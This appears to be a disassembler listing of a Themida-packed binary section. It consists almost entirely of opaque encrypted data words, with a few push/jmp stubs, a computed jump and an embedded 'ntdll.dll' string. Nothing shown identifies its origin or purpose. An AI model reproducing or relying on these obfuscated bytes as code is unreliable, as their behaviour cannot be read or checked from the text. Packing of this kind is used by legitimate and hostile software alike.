dd 52000000h, 0B14A3D03h, 5BC18B66h, 0CE9h, 0D2BC7000h
dd 0E794D2B5h, 5B5E47EFh, 0D7C3810Fh, 0E9000062h, 0Bh
dd 4E1FA8FAh, 38E119h, 6818EE0Ah, 1882h, 0DD92BE66h, 0FE95Ah
dd 0C9460000h, 16B46FF5h, 0D6FAACEEh, 0B0C84952h, 0F50B8B9Eh
dd 3D9BF181h, 0BA607325h, 71333E6Eh, 2AE6BA50h, 615B316Dh
dd 3D17E981h, 0EF81610Eh, 3F630C5Ah, 0D2CCC181h, 0BE6675E8h
dd 0E951F813h, 0Fh, 388FB541h, 51E1502Eh, 45AABCA8h, 8F1016CEh
dd 8C0F03h, 83000000h, 7E904EBh, 0B2000000h, 8ACA3677h
dd 0F4A9D7Fh, 0D85h, 0C2B70F00h, 1DE9h, 833A0100h, 0F6811FDAh
dd 313E5181h, 0FFFF88E9h, 9AB686FFh, 2407F47Dh, 4D0AA971h
dd 8D8DF592h, 6AE64D1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0B7C35646h, 662F2F7h, 0E999C23Ah, 7
dd 91CE8630h, 89C393E0h, 0A805B98Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0B194D460h
dd 4D6EB782h, 14E942AEh, 0E6000000h, 2F28BCC6h, 0A07C26C8h
dd 2B5C64ACh, 9FDFB996h, 0C755BE4Ch, 0A8146985h, 65FC06h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 9E815A0Ah, 85235084h, 6A81E75h, 97CA815Bh
dd 0C70792DAh, 0A80BBD85h, 6, 6E900h, 0FC3B0000h, 13D8BCD6h
dd 0D41B5FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 190424h, 53430000h, 0EADA84C3h, 0F3A784Ah, 95FFFABFh
dd 6A820DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 6AC35646h, 8D8ED297h, 6AF9BF0Fh, 3195FF00h, 8B06A81Bh
dd 1E7CEBC0h, 59D63327h, 0D4253CB2h, 8347DA9Bh, 6021BA51h
dd 673366B0h, 0F319E057h, 362714Fh, 8C18098Dh, 0B6DE4A48h
dd 0F10F7B22h, 9C878EECh, 0E1FC5C07h, 0B63BF345h, 6C15FA05h
dd 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0B365D24Ch, 26CC7D62h
dd 0A1225448h, 0B10F3BCAh, 0C1412E8Bh, 3EE04623h, 42C89BB2h
dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 4CAE2FDEh, 0BDCCC21Fh
dd 4750FBFh, 8DA7B398h, 0AE661E8Dh, 0B98D8906h, 0E806A805h
dd 14h, 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh
dd 1DB1BD29h, 0C75806A8h, 0A8146985h, 6E1406h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0C737EF17h, 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0C59896B8h
dd 0A3B11726h, 0B70FFCA4h, 61B5FFF1h, 6A06A815h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0C015C357h, 0B47EF2BBh, 1BD018Dh, 0FF06A811h, 0A820DD95h
dd 5800F06h, 66000000h, 7A58CB81h, 95FF006Ah, 6A81B31h
dd 0BEBC08Bh, 9CE86986h, 284FB496h, 0E903A9C8h, 4Ch, 4865EDBDh
dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch
dd 8003B2BDh, 0FEB9h, 0Bh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5B0713
; ---------------------------------------------------------------------------
push 6AE67B9h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE687Ah
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE690Dh
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE69D6h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE6AA8h
jmp loc_5517CE
; ---------------------------------------------------------------------------
push 6AE6B83h
jmp loc_5517CE
; ---------------------------------------------------------------------------
db 3Fh, 18h, 51h
dd 80C56AD5h, 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h
dd 0DE41C588h, 0AB5F1BCh, 3CE7236Ah, 52CA5019h, 3D3A7E88h
dd 0C208B606h, 29DF65h, 0FFFA0000h, 1788155Ch, 1FE93D74h
dd 0AF57D717h, 0D48E6C9h, 0A16004ABh, 0BC65CA83h, 3FCD59Ch
dd 471F5987h, 0FE3E37CBh, 0E7505BDDh, 0AED80EB5h, 0B60005A3h
dd 0E169B661h, 0B60004A5h, 0C9C96AC1h, 1477F8DDh, 22E38h
dd 27010300h, 0C9FD46F6h, 0FFED4CBFh, 0E91D36B5h, 84296406h
dd 0EC31781Bh, 0CE56C2BBh, 0D198BB24h, 0BDD5B4Ch, 7A2E94FCh
dd 0A61DBFh, 78B0F99Fh, 0C38948F2h, 0D07B80D6h, 0D16ACA53h
dd 2D049335h, 0F9DA8782h, 76981055h, 658329DDh, 822CE723h
dd 4872DD87h, 87822D50h, 559F1932h, 3D4FCB6Ah, 87822CFDh
dd 57736CC7h, 1986CB6Ch, 8122A800h, 577DABE2h, 5921A8D3h
dd 48CE95Ah, 23460000h, 0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh
dd 6506A9FDh, 64159228h, 7AC08DAEh, 0B6F4B9D9h, 0E0266F0Dh
dd 0D1551C3Fh, 35759755h, 0FB6063Eh, 5CFF62C9h, 0DCB5F09Dh
dd 0DD66D657h, 3F658329h, 57D78D8Dh, 32DC77AFh, 0AF57D6F6h
dd 0D75A5EE8h, 0F28AF57h, 2C454FFh, 0B600016Bh, 0C1531F59h
dd 321EA303h, 0C49CCD59h, 0C089AB14h, 0C67DDF68h, 0E573E620h
dd 0E651BCA8h, 28609AC0h, 1ABCA8E5h, 893FE731h, 55469F28h
dd 60023163h, 0BE97802Dh, 0CCF3FE08h, 66D15BEEh, 67DC7039h
dd 366E3943h, 3654629Ah, 26E0ADCDh, 629A35E2h, 689E77A0h
dd 19ADE487h, 2ADE97B6h, 4690CA84h, 0CBDEA704h, 85000003h
dd 0B41FABE2h, 0E34CDA9Fh, 15BE0C45h, 45EE3C79h, 56DD6924h
dd 34EEF23h, 377A1C87h, 652C50F3h, 96DF7E21h, 34569410h
dd 0B6063EF4h, 0FFA388CEh, 0F88155Ch, 4AF016ADh, 2380C569h
dd 0E158AE0Ah, 0A3B60008h, 2B893288h, 0F4397018h, 0EA1CCAA3h
dd 0BCAE6EE9h, 8DD891DBh, 392B9A86h, 8B86CBA1h, 0D5CEB12Fh
dd 0A288B31h, 2746E94Fh, 0D477D86Eh, 2597109Dh, 0D7DE689Eh
dd 89C3564Ah, 6A3FEC4Fh, 74A4BF15h, 14761CAh, 8FE5D4D2h
dd 338532Ch, 57F20000h, 0A27881Eh, 3058FB4Fh, 0EC822D79h
dd 91B21DA9h, 0B0C14EDCh, 3E8CC162h, 62B8F595h, 5CEAA3C1h
dd 8D1950F3h, 81B9C319h, 43B60640h, 5CFF1E05h, 14533AF4h
dd 5899B6F2h, 2BA38CAFh, 58C9102Ah, 1C817A37h, 6482399Bh
dd 0FFF26722h, 0B4F25DB5h, 8DC8654Eh, 1AAA42Bh, 1870000h
dd 1349EB2Ch, 937AF3FCh, 61A8220Bh, 7CBB1177h, 345615Ah
dd 0B60086D8h, 4F06258Eh, 0A16FC9E2h, 0F0F41276h, 0ABAB3D7Dh
dd 0F214B209h, 0B1E58D47h, 0C8D123Dh, 0B1F89BA8h, 0D9822D8h
dd 0F7B890F7h, 0B1FEB3D4h, 785B8F78h, 0D11B9DD4h, 6F2A48ABh
dd 0E04FE9C2h, 48B6F4BDh, 2D8BC667h, 7EAAE382h, 0F09A0934h
dd 6FC6BF7Ch, 29000002h, 60C3470Eh, 8F307633h, 0B91AA0E9h
dd 0E94AD095h, 3A810548h, 0B7FA9B77h, 0E3AED073h, 1158FCA7h
dd 420B2A95h, 40FA60C4h, 0B6064048h, 0FF57FC3Ah, 5288155Ch
dd 1E9AD371h, 6A902B89h, 2464A6CCh, 1EAF57D7h, 0FBBED435h
dd 1D4ABBDh, 85AEB600h, 0D48C6001h, 0BACC48EBh, 0B600027Eh
dd 0ADF2EB44h, 0C96B3C7Ch, 0C7325472h, 99BCA817h, 0D4591436h
dd 3A672A4Bh, 94FE08E1h, 0A9A7C246h, 3E5CE236h, 0A8448C8Ch
dd 0E4DD76BCh, 2D294284h, 32624B8Ah, 0D2725D89h, 0B5D71D9Bh
dd 52323D06h, 4DCE53FCh, 8B654EFh, 6DCB86A7h, 0DDA70C9Bh
dd 0A95DF658h, 0B4FDA003h, 6AA43E6Fh, 22FEE896h, 0F1941B9Dh
dd 0A2C162B8h, 366F3DEBh, 0F231504Dh, 19D11h, 79305700h
dd 0A8ED822Dh, 0DE97B112h, 0E4BE748h, 3B7617B8h, 0C15160EFh
dd 0F659EDA0h, 228D1954h, 54FF4B02h, 0BA227831h, 412266A0h
dd 0DAE0B606h, 155CFF7Dh, 16AD0F88h, 8B004AF0h, 65A5E75Fh
dd 5FAF588Eh, 48ADFAF4h, 9F1AEC4Ch, 41B600D6h, 59F93C5Eh
dd 0A59E8F14h, 47892F78h, 244C064h, 0B600D606h, 357A53FCh
dd 90BF0BE4h, 0E586B5E7h, 5E377220h, 48074165h, 1EB6063Dh
dd 3D5256F0h, 730B606h, 26C46F91h, 53D79EBDh, 64294AB5h
dd 0E54AEE3Fh, 91DB0F46h, 0A35C251Eh, 5E6328Fh, 7FAB1084h
dd 0B4C400CDh, 0BD69C2BCh, 2C7A3352h, 4A9E083h, 77609CDEh
dd 0F2EB631Eh, 276B2D4h, 0E34CBCB4h, 0F942F2B5h, 1CB0BBCDh
dd 0B992C35Ch, 0CEE3370Fh, 0E95A59E5h, 0C2h, 1694DD7Ch
dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh
dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h, 641F733h
dd 0A08FCDB6h, 723B59BAh, 88336126h, 3D1F2852h, 0DEC1B606h
dd 9BA5F3BAh, 93B273B0h, 50F13C52h, 0AE87901Dh, 9BB72801h
dd 6F5851DEh, 7DD578DBh, 8EDC459Eh, 96342D0Eh, 0DEDADE68h
dd 8FA8B605h, 56B0BA29h, 7F04D160h, 7F1E258Eh, 2C4FF036h
dd 0E11B4165h, 4D15FA9h, 8B78B09Bh, 0EC31741Ah, 0D8DF406Dh
dd 142B1DB5h, 8B96EC2Bh, 88AB1492h, 58865CC1h, 0D155EA2Eh
dd 397FD804h, 1556h, 1CBA7100h, 57D6AEEAh, 0FBB94AFh, 57D6BDFDh
dd 0CAC87AFh, 58FF77ECh, 70138C11h, 92BF439h, 2042E340h
dd 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh
dd 83FA4AD7h, 2C8904ECh, 81E58924h, 4C5h, 4ED8300h, 5C242C87h
dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68243C89h, 6AAh
dd 50240489h, 7D2DBD55h, 0CD8173AEh, 6F2359EFh, 17EEC581h
dd 0E5C17FB1h, 8CF58104h, 4D578C3Dh, 0F99BED81h, 0E8899AD6h
dd 58C7895Dh, 24048B54h, 5204C483h, 8BAh, 89C20100h, 24148B3Ah
dd 4C481h, 48B0000h, 0E2895224h, 4C281h, 0C2810000h, 4
dd 5C241487h, 5F2434FFh, 0E904C483h, 0FFFA10C2h, 4D9AA630h
db 22h, 0E0h, 7Ah
; ---------------------------------------------------------------------------
loc_5B0713: ; CODE XREF: Themida_:005B008Cj
mov eax, 6AE6C6Ah
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 54BBBF4Fh, 7EFF3DFBh, 0CB9A2E8h, 62DCDF2Eh, 52FE8380h
dd 597E0AB3h, 3C72DDAFh, 44513CDAh, 169124A3h, 2C5D0547h
dd 1B7EDC72h, 3B662C63h, 119B8406h, 54021299h, 59CDFF9Bh
dd 0B6D4369h, 2013FEBh, 42B78298h, 50520100h, 520493AAh
dd 9E9h, 9165B600h, 7Ah, 88E90000h, 8D000005h, 0BC67A3EAh
dd 0EB54D297h, 1D86044Dh, 4DF63471h, 5E25612Ch, 1B56F71Bh
dd 4F02248Fh, 7D3458FBh, 0AEE78629h, 2C5E8C18h, 0B60643ECh
dd 896A90D6h, 2C7DA2EBh, 5CFFA78Ch, 76178815h, 2144EF3Bh
dd 3B5ACB68h, 0DF742D72h, 0CDBE159Ah, 0BA3E5D64h, 57D70800h
dd 7851FAAFh, 22E38122h, 4743850Dh, 3DAF57D7h, 0A3F43912h
dd 0B1D37CCAh, 1D82CF70h, 0CF7130Ch, 0ADFE2366h, 0D6CBCF79h
dd 9EB9AF57h, 56F8A91Ah, 7A53961Bh, 0DB92B2B9h, 841E44Fh
dd 0D764A3ABh, 0C1D6AF57h, 0D6665260h, 5F8112DFh, 5B000000h
dd 0E38F8B3Dh, 0DA75AF57h, 5CFF555Eh, 484E8815h, 0B2AF57D7h
dd 82C76B54h, 37AC0C1Dh, 0D6706C6Eh, 19712DFh, 0A8000000h
dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 63895536h, 57D6E1D9h
dd 2088A3AFh, 0A97D27Fh, 0AB0F599h, 5CC184A9h, 977EED4Bh
dd 0D9767D26h, 463F7214h, 753C5FC0h, 1CBA0A31h, 57D6AEEAh
dd 0F95A94AFh, 4CC4799Bh, 713E7A53h, 0F23650D0h, 0D0AF58A0h
dd 2B620667h, 62B9432h, 6BCDDE43h, 0AE0A27F8h, 3453EC23h
dd 662B4B20h, 1EF7E039h, 21681091h, 4F0223FCh, 199A73E2h
dd 0F4397C12h, 0EE47CAA3h, 0D81D3E45h, 8501FAB7h, 0ED327B1Ah
dd 2FEE8E71h, 0CEDF440Dh, 0D95F48D5h, 367B3256h, 3A38F952h
dd 12DF22BEh, 92D9h, 5EFF6200h, 7DDFFDF2h, 2C9974D9h, 4333CBE9h
dd 0ADED1F2Dh, 97AF58BFh, 45EAC3BCh, 0A8F5BCDCh, 0C8CF50C5h
dd 0BA3CEAA7h, 1DE7A877h, 0FC0EBCB0h, 0AF583CBCh, 810BAD86h
dd 0F3307D1Eh, 0D4591C32h, 3D62274Bh, 2489C064h, 0E170316Eh
dd 0A753A5BFh, 0D590BE50h, 0EF875F48h, 59748EEAh, 0CBF192Ah
dd 0C061DA5Eh, 0DFDE36B2h, 5F5112h, 0BAEA0000h, 2E733A59h
dd 53F4BBFDh, 6C10911Eh, 0E3C8F825h, 0B6D07E42h, 0AF57D772h
dd 0EEB1E750h, 0AAE7884Dh, 0FF4E75B1h, 5FF9DA52h, 0D6ACEC16h
dd 8B2AF57h, 0AF57D710h, 0AE8959F2h, 0A7EE68B5h, 15AF57D6h
dd 19531D86h, 0E5348846h, 6C8953Fh, 0E5A49F57h, 4531E533h
dd 0A012DFE7h, 1, 3B59BA7Bh, 0F6325472h, 0CCAF57D6h, 0CE6A3563h
dd 0EA891A87h, 0AAF507A3h, 0B6A8A89Ch, 0FF02E137h, 2BDA55A7h
dd 0C9C42A98h, 242BF46Fh, 8D36AC04h, 3865204Dh, 402817EFh
dd 0CF541D3Fh, 0EF84E5DEh, 3B1405AAh, 43F85CEFh, 0B9C665A7h
dd 5EBCB600h, 0B9EC2Ch, 847DD6B6h, 0AEE7861Fh, 3C94B718h
dd 51B487C6h, 0D3F7E0EDh, 9FC7C399h, 262D6Dh, 0A23C17B6h
dd 0FE08D669h, 3B15E465h, 0ED5EDA30h, 0BD2B6Dh, 931C97B6h
dd 2119A3C9h, 0E3B600BDh, 30689248h, 12B600BDh, 0D30FF39h
dd 3E5DC644h, 0DA792A77h, 0F9950E93h, 51EB77BCh, 0B600BD59h
dd 0F99F002Bh, 96B273B0h, 0B65952DFh, 37E4941Dh, 1736279Ah
dd 0C865ECC5h, 743D6067h, 658EC836h, 6BE41550h, 85712573h
dd 6014777Dh, 128h, 0EB5E7BBh, 0F214B2D8h, 0AF57D6B6h
dd 0F375A38Ch, 0B6000670h, 0EBB4F952h, 1A850148h, 4D4DFF7Bh
dd 37B60006h, 25FE231Ch, 5FE24F06h, 7262DF6h, 605CF84Eh
dd 0AF1477F9h, 64A62E44h, 0B6001224h, 0D75C351Eh, 4CA052C6h
dd 7B000000h, 3E8630BAh, 19E87AF4h, 1CA7089Fh, 53C5CEEh
dd 0A5062F58h, 48D5CE87h, 58058A8Eh, 0E970C2Fh, 0AB780842h
dd 141E85E6h, 9F920384h, 2CDAB3FEh, 58CF7E9Ah, 0BD2644AFh
dd 5E4FD491h, 58CF74B4h, 0CE54EAFh, 9235BEh, 0E7100000h
dd 3B8FEFB5h, 8CB6EDCFh, 8FC97793h, 0A49CAEDEh, 8F8B33CCh
dd 75AF5821h, 72945EDAh, 0B600549Bh, 68254669h, 6BAD33CBh
dd 0DB2C3CADh, 0FBA409E2h, 6EAADC58h, 54B600C1h, 0A099D073h
dd 0ADD073B7h, 5A3BFE4h, 0C0C7C3h, 692BDB6h, 0C1C3C0h
dd 0FBA40FB6h, 821851F4h, 0FA209B39h, 0EC317419h, 55F77DBBh
dd 0BCAF2FB5h, 0A67FA48Fh, 9E61CE87h, 0DF7D6C35h, 64044664h
dd 7AC35D9Dh, 9D6EAADCh, 0FB54C35Dh, 0E1650E3h, 0EE4A40ABh
dd 94B3F720h, 0E786B5E7h, 0EB11B5AEh, 0E32B6608h, 0AF57D7A7h
dd 0FC66B29Dh, 0F27A0456h, 23BBF291h, 5ADEA33Fh, 6B7EC8Ch
dd 497DD6B6h, 0EA8B6C0Fh, 8130B642h, 0FE74F109h, 1D8E2A03h
dd 7E20E184h, 0C4BDEE33h, 0F7BEDD46h, 3E4999D3h, 0AFA7E325h
dd 0B29DB606h, 41D5B238h, 93F274D7h, 2232452Eh, 42E1E849h
dd 7114BF0Bh, 0C16FFB38h, 452E8387h, 42D64132h, 0AFF4B1DDh
dd 9BA203A8h, 0CA75B1F8h, 0C4BDE2ABh, 3, 0FFCBB0E7h, 138C1158h
dd 2BF43970h, 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h
dd 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h, 5E08950h, 4, 8704E883h
dd 248B2404h, 0E0895024h, 405h, 42D00h, 4870000h, 3C895C24h
dd 781D6824h, 4890000h, 4EC8324h, 0B8240489h, 6AE6D72h
dd 6858C789h, 595Fh, 81242489h, 42404h, 57580000h, 3C243481h
dd 8F1FA375h, 0BB530840h, 8, 3381C301h, 1FA3753Ch, 24048B5Bh
dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch, 835F2434h
dd 0D3E904C4h, 37FFFA0Ah, 687332FCh, 5FE02D27h, 0B8D61BEEh
dd 6AE7267h, 0E0FFC503h, 5BAC48B3h, 1F38D7A5h, 134DDBD3h
dd 48487CAEh, 26996BE8h, 9A59A6Bh, 49D9811Bh, 0A5557FDh
dd 4A7E4D5Dh, 3D587141h, 44FBCA96h, 2B1D3C07h, 49028866h
dd 666E03A8h, 1D98CAFBh, 39112963h, 71D15BD9h, 70C8D3F7h
dd 76496AD4h, 10E9182Dh, 2F503F9Fh, 0DE8h, 0D623D100h
dd 0E8760D89h, 10ECD303h, 870FCA54h, 2, 5358EB8Ah, 5B5E5051h
dd 2CC0815Bh, 0BA000063h, 2E871410h, 493C281h, 0BE66D179h
dd 388BBE31h, 0D1B70F60h, 5E9h, 8BFEC500h, 81610F5Dh, 37E9F7EFh
dd 7A6BB97Dh, 0F78111BFh, 21F2EC52h, 60EF81FCh, 523E5E8Fh
dd 0F5BFCB9h, 66575E16h, 8FCB8Bh, 4E883FCh, 0EA81CA8Bh
dd 1, 18850Fh, 26E90000h, 97000000h, 0CB4D0D96h, 7ABDE963h
dd 8214B1AEh, 6D567C7Ch, 81664172h, 0E9E357C9h, 0FFFFFF96h
dd 51ACDBAEh, 0A0298CDh, 2DE9E8h, 0AED20000h, 1C74h, 9 dup(0)
dd 0E9000000h, 4A5h, 0AE754A68h, 980E906h, 0B868FFFAh
dd 0E906AE75h, 0FFFA0976h, 0AE76F768h, 96CE906h, 8FAAFFFAh
dd 0B2DF40C6h, 6810B3F7h, 143AE521h, 0C96AD551h, 0F8B90684h
dd 0F634791Ah, 0DA602D4Dh, 1492DB79h, 45C188ABh, 0C9C17BE1h
dd 0BBB6064Ah, 5EFFD67Dh, 76158E13h, 6ADB96B7h, 0C1D82CBh
dd 80349713h, 0E1DA9FB3h, 2D6D9FC5h, 17AF57D7h, 54D990B4h
dd 54F96A43h, 2B5D8711h, 0B5FFE184h, 0AAEE187Eh, 98B5FFE0h
dd 9159C6BFh, 0B5FFE195h, 0A6C82B31h, 86B8D80Ah, 534C29ADh
dd 0C76CDDCEh, 0F4BD1682h, 773B0AE6h, 2A3ED14h, 1360000h
dd 0F843F122h, 0ED51B8C2h, 1833B5FFh, 539766A0h, 0A014B365h
dd 3741EF1Bh, 0BDC0DD92h, 0ADC5CA4h, 0BA0D7B03h, 1DC956C1h
dd 0F3A783DBh, 5CDC6F3Dh, 34D269CBh, 0B5B95592h, 56E52FC0h
dd 521004BEh, 0EA10B6AFh, 9AFE3A4Ch, 8AC4C0B5h, 0D416DE68h
dd 2E8A63D0h, 1FABE281h, 20D891B4h, 0E875F0D5h, 0EB1BE4C7h
dd 0B5000002h, 0E44FDB92h, 13BC0A4Fh, 45EE3C75h, 75DE6C29h
dd 860D99D4h, 337E1FF3h, 672A4CF7h, 95DC8023h, 0C68FAE11h
dd 0C406E440h, 0B6064BC4h, 0E7D378BEh, 0F7D80EB5h, 0B8F19356h
dd 658369CFh, 895D87Ah, 504F991Fh, 32B6064Bh, 6102ED19h
dd 8F709E2Ch, 2C7DA2EFh, 4F02238Ch, 4B1B18E2h, 0E588B606h
dd 0C2937CACh, 1E9DF324h, 27DA5h, 69204700h, 98DD72DDh
dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h
dd 12BD0944h, 44EF3B72h, 4AD26821h, 4C327690h, 0CA10B606h
dd 0EB5E76Dh, 4B6FAED8h, 7255B606h, 7AA099DCh, 66B2FB99h
dd 0D7765985h, 0C8CC1A9Eh, 0DBB6064Ah, 0F4ADF2B7h, 549B1851h
dd 0F927B67Fh, 95819112h, 701471A6h, 165h, 9D5CFFCBh, 54D9B2FBh
dd 0C5E1A8CBh, 0A8F5B8DAh, 0E853397Fh, 0B1CBFF44h, 0B5FFF64Eh
dd 54961B34h, 0B5FFF650h, 1C1E876Ch, 1477CD20h, 4AC7h
dd 0B5E75800h, 5AF7D80Eh, 3553991Fh, 0D67BA8A3h, 0E2182E79h
dd 58BF6058h, 0AF0922AFh, 0ED4659h, 8E133CB6h, 0ED484Ch
dd 268F64B6h, 93DA795Ah, 72B6D00Eh, 50B600EDh, 0FE9D0EE7h
dd 0E7316AB7h, 76C04733h, 0ABA614h, 0FF790000h, 6AAED85Ch
dd 58AF57D7h, 96E006FFh, 2FDA2A9Ch, 0F96ACE97h, 0E54A0728h
dd 0D350193Ch, 2C7A3352h, 585AB8DAh, 2745AEAFh, 40E8C16Eh
dd 0B1F5BCDFh, 0E91DA616h, 2FA705Fh, 0CDF952B6h, 0FA2565A7h
dd 0DE7EB602h, 0BCFC5797h, 612C4DB6h, 94D97A25h, 28138574h
dd 532C8FF3h, 13Eh, 92286108h, 0CD591C31h, 3B8FC662h, 6BBFFA98h
dd 5CEAA7C8h, 0CF70A2D7h, 0FB9B0482h, 0ADCF70B6h, 5EFDA6E4h
dd 0D10B9317h, 64D73B7h, 2C0B51B6h, 97135EFFh, 0AFE68669h
dd 0CC81A102h, 0BBDA45D3h, 204EB4F2h, 57D7A2E6h, 61B760AFh
dd 155CFF3Ah, 3D741788h, 4F844F89h, 59E3BAF2h, 62D275DFh
dd 4A9B2DD9h, 38B6005Ah, 6708EB1Fh, 2A6A9C2Ah, 79B6005Ah
dd 0AC1793DAh, 8D59C68Bh, 0E74C0122h, 0B79D62B6h, 79000000h
dd 7DBBF296h, 3859BA36h, 3B7E1475h, 0B473A5F6h, 0FD0FBB00h
dd 0B6064ABEh, 4F022384h, 3558C956h, 0DFC02E7Ch, 0FCA3F5BCh
dd 6002F159h, 28288970h, 5368F23Fh, 50D0E19Bh, 68396623h
dd 6B278CC5h, 0C96C733Ch, 97049780h, 0E064070Eh, 0E19B62A6h
dd 2E1620D0h, 0B3A62C69h, 47635C35h, 9840DA35h, 79BF5A20h
dd 440D3093h, 6D2846DFh, 733E5FC0h, 17D6752Eh, 0DD423B76h
dd 0D05FC0ABh, 141B8431h, 4988B071h, 928B6429h, 0C188AB14h
dd 24E35Ch, 0D9070000h, 0F51D58F6h, 0D0E192B5h, 99064FEEh
dd 43D57E80h, 0EC0AB058h, 57D75E5Ah, 9A0B24AFh, 3F68B5F8h
dd 58FFB2F9h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh
dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 56FA4AD7h
dd 0C681E689h, 4, 8704EE83h, 895C2434h, 268240Ch, 89000027h
dd 1A682434h, 89000058h, 0BF57240Ch, 513C7B8Ch, 71F8C9BEh
dd 6C681B5h, 1142748h, 6EE81FEh, 5F142748h, 240C8B54h
dd 5204C483h, 5189F289h, 24148B08h, 4C481h, 34FF0000h
dd 0C4815924h, 4, 5624348Bh, 0C681E689h, 4, 4C681h, 34870000h
dd 0EFE95C24h, 67FFFA04h, 20841BE4h, 0CD578A92h, 785AB8CEh
dd 0C50306AEh, 8AEEE0FFh, 6E2D6FE2h, 81212D04h, 2DD16616h
dd 8D8D1692h, 6AE79DFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 18C35545h, 20C2EB6Bh, 0DB1B960h, 21D19D89h
dd 8D8906A8h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 6AC35545h, 146985C7h, 6E8C06A8h, 8D090000h
dd 6A81FB5h, 0BBD85C7h, 6A8h, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 7314F0C3h
dd 85B5298Ah, 0E906A81Dh, 0Ch, 7399AED2h, 0C808EBF9h, 0BEF60D09h
dd 5FDB5FFh, 858B06A8h, 6A820E1h, 20DD95FFh, 6A06A8h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 9E592AC3h, 0AE58CAACh, 81DAE867h, 7E3D42C6h, 16BB6616h
dd 0FF006A1Ch, 0A81B3195h, 0EBC08B06h, 4F77917Ah, 6FB759D5h
dd 0B2BB8066h, 28758B56h, 0C9D18EEEh, 38530E1Eh, 0DCC8C5B2h
dd 0FEAFB719h, 1664BE4Dh, 3971145Eh, 0F268B847h, 0FFD0A33Dh
dd 90B5A850h, 7463E8D6h, 0FCE283C2h, 2AE3680Fh, 6CB196F3h
dd 58F8267Ch, 0F21F3CACh, 377088DAh, 757CF1FFh, 366B1573h
dd 0E3E68226h, 396AD008h, 0FB8D954Ah, 3FF30996h, 84F30017h
dd 0DE423FB8h, 12A3F7BEh, 8B6A4A8Ch, 53C4A889h, 5DB17D3Ah
dd 0E8B132AFh, 6F7BB354h, 0ABA2DA67h, 41393256h, 59A33A13h
dd 2F2FAD77h, 8B3CA96Bh, 0FE13CB1Eh, 5D305419h, 36E9B3DBh
dd 22BE3256h, 0D5B13241h, 0EAB120BFh, 40A3F056h, 0C8412996h
dd 0FDD0E1B0h, 39EDA24Dh, 2FE242F2h, 0AAB3747Bh, 20B13256h
dd 0EA443256h, 7AE75256h, 0BAB132DDh, 0DD16C56h, 0CFD0520Dh
dd 0BEB13237h, 0ABB1325Ah, 455703D5h, 0DCA84F27h, 9E93F4A2h
dd 0A8583256h, 0E9B13256h, 8E31778Ah, 7033F3E8h, 51DEA931h
dd 0EDF33B61h, 3B1323Dh, 75B13259h, 0EFF1639Fh, 0A46D1AF5h
dd 0D27E98D8h, 3B10CCEDh, 0ABB1687Ch, 60E3D36h, 0FA318830h
dd 2E479A37h, 0BAB12256h, 5DBADB56h, 0DDAC3256h, 98ACC86Bh
dd 0C46A8D7Fh, 0DE333DECh, 8AB13256h, 75B1B359h, 76313256h
dd 5DB153A2h, 0AEBDBE59h, 50583256h, 2BB13256h, 26F74621h
dd 0EAB174A4h, 75BEDB36h, 28673256h, 57BB6686h, 0A60F136h
dd 0DBEACACh, 29BE5302h, 0D5B1325Bh, 0EA343D36h, 13B13256h
dd 0E609C3D7h, 0A5B13237h, 0BC583256h, 8CB13256h, 5BF43E03h
dd 216D87AAh, 0A3A5E4B2h, 6477371Ch, 53B13228h, 5DB13244h
dd 0B312CA71h, 0C26686E8h, 598327DEh, 0AA0A1939h, 8CD1A6D2h
dd 1329FFEEh, 7392DAD7h, 0B4B13237h, 0AEB1325Bh, 64FD30C4h
dd 0FF3FC9B3h, 3EFBA0Eh, 1FB132C8h, 89D13256h, 8A25DCD7h
dd 5DD024F3h, 0AEB1CE56h, 57B0B059h, 0AB493256h, 56BE5256h
dd 0EAB13254h, 0FEBE14E0h, 0BAB13242h, 5DB13DBFh, 1EDF0256h
dd 7CAC8C92h, 0ECC70007h, 66FB15B9h, 0EAB1CA37h, 75A6B159h
dd 0A8583256h, 3EB13256h, 327C5EDh, 0AECD675Dh, 0B89F7FB8h
